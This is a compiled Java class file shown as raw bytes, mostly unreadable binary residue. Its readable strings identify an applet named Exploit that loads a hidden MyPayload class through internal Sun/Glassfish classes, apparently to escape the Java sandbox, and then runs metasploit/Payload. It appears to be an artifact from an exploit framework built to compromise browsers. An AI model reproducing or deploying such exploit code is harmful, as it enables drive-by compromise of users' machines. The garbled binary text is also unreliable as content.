2012-11-11 20:18:19 +01:00
|
|
|
|
Êþº¾ . ‚
|
|
|
|
|
|
4 5 6
|
|
|
|
|
|
7
|
|
|
|
|
|
8
|
|
|
|
|
|
$ 9
|
|
|
|
|
|
: ;
|
|
|
|
|
|
: <
|
|
|
|
|
|
= > ?
|
|
|
|
|
|
|
|
|
|
|
|
9
|
|
|
|
|
|
@ A
|
|
|
|
|
|
B
|
|
|
|
|
|
C D
|
|
|
|
|
|
|
|
|
|
|
|
E
|
|
|
|
|
|
|
|
|
|
|
|
F G # H I
|
|
|
|
|
|
# J K L
|
|
|
|
|
|
M N
|
|
|
|
|
|
O P # Q R
|
|
|
|
|
|
S T
|
|
|
|
|
|
U V
|
|
|
|
|
|
W
|
|
|
|
|
|
X Y Z [ \ class$java$lang$Object Ljava/lang/Class; Synthetic array$B <init> ()V Code LineNumberTable hex2Byte (Ljava/lang/String;)[B init class$ %(Ljava/lang/String;)Ljava/lang/Class;
|
|
|
|
|
|
SourceFile Exploit.java ] 1 java/lang/ClassNotFoundException java/lang/NoClassDefFoundError ^ _ ) ` ) * a b c d e f g h java/io/ByteArrayOutputStream i j MyPayload.class k l m n o p q r s 3com/sun/org/glassfish/gmbal/util/GenericConstructor % & java.lang.Object 0 1 $sun.invoke.anon.AnonymousClassLoader java/lang/Class ) t java/lang/Object u v loadClass ( & [B w x y z { | } ~ € � java/lang/Exception Exploit java/applet/Applet forName
|
|
|
|
|
|
getMessage ()Ljava/lang/String; (Ljava/lang/String;)V java/lang/String length ()I substring (II)Ljava/lang/String; java/lang/Integer parseInt (Ljava/lang/String;I)I getClass ()Ljava/lang/Class; getResourceAsStream )(Ljava/lang/String;)Ljava/io/InputStream; java/io/InputStream read ([B)I write ([BII)V toByteArray ()[B 8(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)V create '([Ljava/lang/Object;)Ljava/lang/Object; 7com/sun/org/glassfish/gmbal/ManagedObjectManagerFactory getMethod Q(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; java/lang/reflect/Method invoke 9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; newInstance ()Ljava/lang/Object; metasploit/Payload main ([Ljava/lang/String;)V ! # $ % & ' ( & ' ) * + ! *· ± ,
|
|
|
|
|
|
- . + V .+¶ l¼M> ,¾¢ , + h h`¶ ¸ ‘T„§ÿâ,° , & , / * + »
|
|
|
|
|
|
Y· L ¼M*¶
|
